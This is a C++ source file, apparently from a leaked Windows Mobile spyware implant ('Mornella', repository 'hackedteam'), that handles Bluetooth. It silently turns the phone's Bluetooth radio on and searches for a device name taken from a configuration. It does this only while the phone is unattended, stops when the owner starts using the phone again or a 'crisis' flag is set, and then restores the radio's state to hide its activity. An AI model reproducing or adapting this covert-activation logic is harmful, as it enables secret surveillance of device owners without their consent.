hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/WindowsBlueTooth.cpp

Summary

Maintainability
Test Coverage
#include "WindowsBlueTooth.h"
#include "Common.h"
#include <new>
#include <Bt_api.h>
#include <bthutil.h>
#include <bthapi.h>
#include <InitGuid.h>

#define QUERYSET_SIZE (5 * 1024)

WindowsBlueTooth::WindowsBlueTooth(GUID bt) : m_bIsBtAlreadyActive(FALSE){
    ZeroMemory(m_wInstanceName, sizeof(m_wInstanceName));

    deviceObj = Device::self();
    statusObj = Status::self();
    m_btGuid = bt;
}

WindowsBlueTooth::~WindowsBlueTooth() {

}

BOOL WindowsBlueTooth::SetInstanceName(PWCHAR pwName) {
    if (pwName == NULL)
        return FALSE;

    _snwprintf(m_wInstanceName, 33, pwName);
    return TRUE;
}

void WindowsBlueTooth::SetGuid(GUID guid) {
    m_btGuid = guid;
}

BOOL WindowsBlueTooth::InquiryService(WCHAR *address) {
    WSAQUERYSET querySet;
    GUID protocol;
    DWORD bufferLength;
    WSAQUERYSET *pResults;
    HANDLE handle;
    BTHNS_RESTRICTIONBLOB rb;
    BLOB blob;
    BOOL state;

    pResults = (WSAQUERYSET *)new(std::nothrow) BYTE[QUERYSET_SIZE];

    if (pResults == NULL) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - InquiryService() FAILED [0] ", 5, TRUE);
        return 0;
    }

    ZeroMemory(&blob, sizeof(BLOB));
    ZeroMemory(&rb, sizeof(BTHNS_RESTRICTIONBLOB));
    ZeroMemory(&querySet, sizeof(WSAQUERYSET));
    ZeroMemory(pResults, QUERYSET_SIZE);

    blob.cbSize = sizeof(BTHNS_RESTRICTIONBLOB);
    blob.pBlobData = (BYTE *)&rb;

    protocol = m_btGuid;

    querySet.dwSize = sizeof(WSAQUERYSET);
    querySet.lpServiceClassId = &protocol;
    querySet.dwNameSpace = NS_BTH;
    querySet.lpszContext = address;
    querySet.lpBlob = &blob;

    rb.type = SDP_SERVICE_SEARCH_REQUEST;
    rb.uuids[0].uuidType = SDP_ST_UUID128;
    rb.uuids[0].u.uuid128 = m_btGuid;

    // Il valore di ritorno non e' documentato quindi non effettuiamo il check
    WSALookupServiceBegin(&querySet, 0, &handle);

    bufferLength = QUERYSET_SIZE;

    if (WSALookupServiceNext(handle, LUP_RETURN_BLOB, &bufferLength, pResults)) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - InquiryService() FAILED [1] ", 5, TRUE);
#ifdef _DEBUG
        INT err = WSAGetLastError();
#endif
        state = FALSE;
    } else {
        state = TRUE;
    }

    WSALookupServiceEnd(handle);
    delete[] pResults;
    DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - InquiryService() Performed\n", 5, FALSE);
    return state;
}

BT_ADDR WindowsBlueTooth::FindServer(SOCKET bt) {
    WSAQUERYSET querySet, *pResults;
    DWORD bufferLength;
    WCHAR addressAsString[64];
    HANDLE handle;
    GUID protocol;
    INT proto = sizeof(WSAPROTOCOL_INFO);
    UINT i = 0;
    BT_ADDR btAddr = 0;

    pResults = (WSAQUERYSET *)new(std::nothrow) BYTE[QUERYSET_SIZE];

    if (pResults == NULL) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [0]\n", 5, FALSE);
        return 0;
    }

    bufferLength = QUERYSET_SIZE;

    ZeroMemory(&querySet, sizeof(WSAQUERYSET));
    ZeroMemory(pResults, QUERYSET_SIZE);

    querySet.dwSize = sizeof(WSAQUERYSET);
    querySet.dwNameSpace = NS_BTH;

    protocol = m_btGuid;

    if (WSALookupServiceBegin(&querySet, LUP_CONTAINERS, &handle)) {
        delete[] pResults;
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [1] ", 5, TRUE);
        return 0;
    }

    LOOP {
        i++;

        // Condizione di uscita addizionale nel caso di loop sullo stack BT
        if (i > 200)
            break;

        bufferLength = QUERYSET_SIZE;

        if (WSALookupServiceNext(handle, LUP_RETURN_ADDR | LUP_RETURN_NAME, &bufferLength, pResults)) {
            DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [2] ", 5, TRUE);
            break;
        }

        if (pResults->lpcsaBuffer == NULL || pResults->dwNumberOfCsAddrs != 1) {
            DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [3]\n", 5, FALSE);
            continue;
        }

        if (pResults->lpcsaBuffer->RemoteAddr.lpSockaddr == NULL) {
            DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [4]\n", 5, FALSE);
            continue;
        }

        wsprintf(addressAsString, L"(%.2X:%.2X:%.2X:%.2X:%.2X:%.2X)", (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[11],
            (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[10], (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[9],
            (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[8], (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[7],
            (UCHAR)pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data[6]);

        // Quera solo i device BT che hanno il nome specificato nella configurazione
        if (pResults->lpszServiceInstanceName && wcslen(pResults->lpszServiceInstanceName) && !wcsicmp(m_wInstanceName, pResults->lpszServiceInstanceName)) {
            if (InquiryService(addressAsString)) {
                CopyMemory(&btAddr, pResults->lpcsaBuffer->RemoteAddr.lpSockaddr->sa_data + 6, 6); 
                break;
            } else {
                DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [5]\n", 5, FALSE);
            }
        } else {
            DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [Not our BT device] [6]\n", 5, FALSE);
        }

        // Usciamo dal loop se l'utente riprende ad interagire col telefono
        if (deviceObj->IsDeviceUnattended() == FALSE || (statusObj->Crisis() & CRISIS_SYNC) == CRISIS_SYNC) {
            DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() FAILED [Power status or crisis changed] [7]\n", 5, FALSE);
            break;
        }
    }

    WSALookupServiceEnd(handle);
    delete[] pResults;
    DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - FindService() Performed\n", 5, FALSE);
    return btAddr;
}

BOOL WindowsBlueTooth::ActivateBT() {
    DWORD dwRadioMode = 0;
    INT iErr;

    iErr = BthGetMode(&dwRadioMode);

    if (iErr != ERROR_SUCCESS) {
        DBG_TRACE_INT(L"Debug - WindowsBlueTooth.cpp - ActivateBT() FAILED [0] ", 5, TRUE, iErr);
        return FALSE;
    }

    switch(dwRadioMode){
        case BTH_CONNECTABLE:
        case BTH_DISCOVERABLE:
            m_bIsBtAlreadyActive = TRUE;
            break;

        default:
            m_bIsBtAlreadyActive = FALSE;

            iErr = BthSetMode(BTH_CONNECTABLE);

            if (iErr != ERROR_SUCCESS) {
                DBG_TRACE_INT(L"Debug - WindowsBlueTooth.cpp - ActivateBT() FAILED [1] ", 5, TRUE, iErr);
                return FALSE;
            }

            break;
    }

    DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - ActivateBT() OK\n", 5, FALSE);
    return TRUE;
}

BOOL WindowsBlueTooth::DeActivateBT() {
    DWORD dwRadioMode = 0;
    INT iErr;

    iErr = BthGetMode(&dwRadioMode);

    if (dwRadioMode == BTH_POWER_OFF) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - DeActivateBT() OK\n", 5, FALSE);
        return TRUE;
    }

    if (m_bIsBtAlreadyActive) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - DeActivateBT() OK\n", 5, FALSE);
        return TRUE;
    }

    iErr = BthSetMode(BTH_POWER_OFF);
    iErr = BthGetMode(&dwRadioMode);

    if (dwRadioMode != BTH_POWER_OFF) {
        DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - DeActivateBT() FAILED ", 5, TRUE);
        return FALSE;
    }

    DBG_TRACE(L"Debug - WindowsBlueTooth.cpp - DeActivateBT() OK\n", 5, FALSE);
    return TRUE;
}